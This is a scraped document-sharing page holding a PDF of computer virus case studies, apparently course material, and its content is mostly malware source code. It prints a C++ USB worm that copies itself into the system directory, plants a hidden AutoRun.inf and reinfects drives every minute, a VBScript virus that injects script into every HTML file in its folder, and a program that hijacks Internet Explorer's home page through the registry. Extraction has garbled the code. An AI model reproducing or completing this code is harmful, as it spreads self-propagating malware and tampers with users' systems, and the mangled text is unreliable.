2022年2022年计算机病毒案例 .pdf

上传人:Che****ry 文档编号:27247943 上传时间:2022-07-23 格式:PDF 页数:5 大小:37.66KB
返回 下载 相关 举报
2022年2022年计算机病毒案例 .pdf_第1页
第1页 / 共5页
2022年2022年计算机病毒案例 .pdf_第2页
第2页 / 共5页
点击查看更多>>
资源描述

《2022年2022年计算机病毒案例 .pdf》由会员分享,可在线阅读,更多相关《2022年2022年计算机病毒案例 .pdf(5页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。

1、一、U盘病毒AutoRun.inf 文件AutoRun open=proj7_2.exe shellopen=打开(&O) shellopenCommand=proj7_2.exe shellexplore=我的资源管理器 (&X) shellexploreCommand=proj7_2.exe proj7_2.cpp 案例名称: U 盘恶意代码程序名称: proj7_2.cpp #include stdafx.h bool SaveToFile(char* Path,char* Data) HANDLE hFile; hFile=CreateFile(Path, GENERIC_WRITE,

2、 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); if(hFile=INVALID_HANDLE_VALUE)/*continue; /出错时处理 */ DWORD dwWrite; WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL); CloseHandle(hFile); return true; BOOL InfectU() while(true) UINT revtype; char name256=H: ; char szName256=0; char toPath256=0; c

3、har infPath256=0; char openU80=0; 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页,共 5 页 - - - - - - - - - /遍历所有盘符for(BYTE i=0 x42;i0 x5B;i=i+0 x01) name0=i; /得到盘符类型revtype=GetDriveType(name); /判断是否是可移动存储设备if (revtype=DRIVE_REMOVABLE) /得到自身文件路径GetModuleFileName(NUL

4、L,szName,256); /比较是否和 U 盘的盘符相同/如果相同说明在 U 盘上执行,复制到系统中去if(strncmp(name,szName,1)=0) /得到系统目录GetSystemDirectory(toPath,256); strcat(toPath,proj7_2.exe); /把自身文件复制到系统目录if(CopyFile(szName,toPath,TRUE) /运行程序WinExec(toPath,0); strcpy(openU,explorer ); strcat(openU,name); /打开U 盘WinExec(openU,1); return 0; / 如

5、果不是在 U 盘上执行,则感染 U 盘else strcpy(toPath,name); strcat(toPath,proj7_2.exe); strcpy(infPath,name); strcat(infPath,AutoRun.inf); /还原U 盘上的文件属性SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL); 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 5 页 - - - - - - - - - SetFile

6、Attributes(infPath,FILE_ATTRIBUTE_NORMAL); /删除原有文件DeleteFile(toPath); DeleteFile(infPath); /写AutoRun.inf 到U 盘char* Data; Data = AutoRunrnopen=proj7_2.exernshellopen= 打开(&O)rnshellexplore= 我的资源管理器(&X)rnshellexploreCommand=proj7_2.exe; SaveToFile(infPath,Data); /拷贝自身文件到 U 盘CopyFile(szName,toPath,FALSE

7、); /把这两个文件设置成系统,隐藏属性SetFileAttributes(toPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(infPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); /休眠60 秒,60 检测一次Sleep(60000); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) Infe

8、ctU(); return 0; 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页,共 5 页 - - - - - - - - - 二、脚本病毒案例名称:脚本病毒程序名称: Misery.vbs 遇到错误继续执行On error resume next 遇到错误继续执行On error resume next 定义变量Dim fso,curfolder,curfile 定一个文件操作对象Set fso = createobject(scripting.filesystemobj

9、ect) 得到当前目录Set curfolder = fso.GetFolder(.) 得到当前目录的文件set files = curfolder.files 文件的打开方式Const ForReading = 1, ForWriting = 2, ForAppending = 8 向所有扩展名为 htm/HTM/html/HTML 的文件中写代码for each file in Files if UCase(right(file.name,3) = HTM or UCase(right(file.name,4) = HTML then curfile = curfolder & & fil

10、e.name Set f = fso.OpenTextFile(curfile, ForAppending, True) f.Write vbcrlf f.Write & vbcrlf f.Write MsgBox 你中旧痛苦岁月病毒了! & vbcrlf f.Write Set r=CreateObject(Wscript.Shell) & vbcrlf f.Write r.run(notepad.exe) & vbcrlf f.Write end if next f.Close 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - -

11、 名师精心整理 - - - - - - - 第 4 页,共 5 页 - - - - - - - - - 三、案例名称:浏览器恶意代码程序名称: proj7_1.cpp #include #include main() HKEY hKey1; DWORD dwDisposition; LONG lRetCode; /创建lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftInternet ExplorerMain, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &

12、hKey1, &dwDisposition); /如果创建失败,显示出错信息if (lRetCode != ERROR_SUCCESS) printf (Error in creating keyn); return (0) ; /设置键值lRetCode = RegSetValueEx ( hKey1, Default_Page_URL, 0, REG_SZ, (byte*)http:/, 100); /如果创建失败,显示出错信息if (lRetCode != ERROR_SUCCESS) printf ( Error in setting valuen); return (0) ; printf( 注册表编写成功! n); return(0); 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 5 页,共 5 页 - - - - - - - - -

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 教育专区 > 高考资料

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号© 2020-2023 www.taowenge.com 淘文阁